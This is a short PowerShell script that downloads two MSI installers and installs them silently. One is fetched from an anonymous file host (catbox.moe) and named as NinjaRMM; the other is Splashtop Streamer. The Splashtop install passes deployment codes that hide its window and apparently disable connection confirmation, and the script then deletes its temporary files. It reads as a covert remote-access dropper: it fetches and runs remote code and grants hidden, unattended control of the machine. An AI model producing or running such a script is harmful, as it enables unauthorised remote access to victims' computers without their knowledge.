# Get temp directory path $tempPath = $env:TEMP # Create directories in temp $ninjaTempPath = Join-Path $tempPath "TEMPninjarmm" $splashtopTempPath = Join-Path $tempPath "TEMPsplashtopStreamer" New-Item -ItemType Directory -Path $ninjaTempPath -Force New-Item -ItemType Directory -Path $splashtopTempPath -Force $ninjaInstallerURL = 'https://files.catbox.moe/i9mcn3.msi' $splashtopInstallerURL = 'http://distro.osrmm.com/Splashtop_Streamer.msi' # Download files to temp directories Invoke-RestMethod $ninjaInstallerURL -OutFile (Join-Path $ninjaTempPath "ninja.msi") Invoke-RestMethod $splashtopInstallerURL -OutFile (Join-Path $splashtopTempPath "splashtopStreamer.msi") # Install using full paths Start-Process msiexec.exe -Args '/norestart', '/qn', '/i', (Join-Path $ninjaTempPath "ninja.msi") -Wait -NoNewWindow Start-Process msiexec.exe -Args '/norestart', '/qn', '/i', (Join-Path $splashtopTempPath "splashtopStreamer.msi"), 'USERINFO="dcode=WT7RWRTPTWH7,hidewindow=1,confirm_d=0"' -Wait -NoNewWindow #Start-Process msiexec.exe -Wait -NoNewWindow -ArgumentList '/norestart /qn /i ./TEMPninjarmm/ninja.msi' #Start-Process msiexec.exe -Wait -NoNewWindow -ArgumentList '/norestart /qn /i ./TEMPsplashtopStreamer/splashtopStreamer.msi USERINFO="dcode=7J2HRZT525H3,hidewindow=1,confirm_d=0"' # Cleanup temp directories Remove-Item -Path $ninjaTempPath -Recurse -Force Remove-Item -Path $splashtopTempPath -Recurse -Force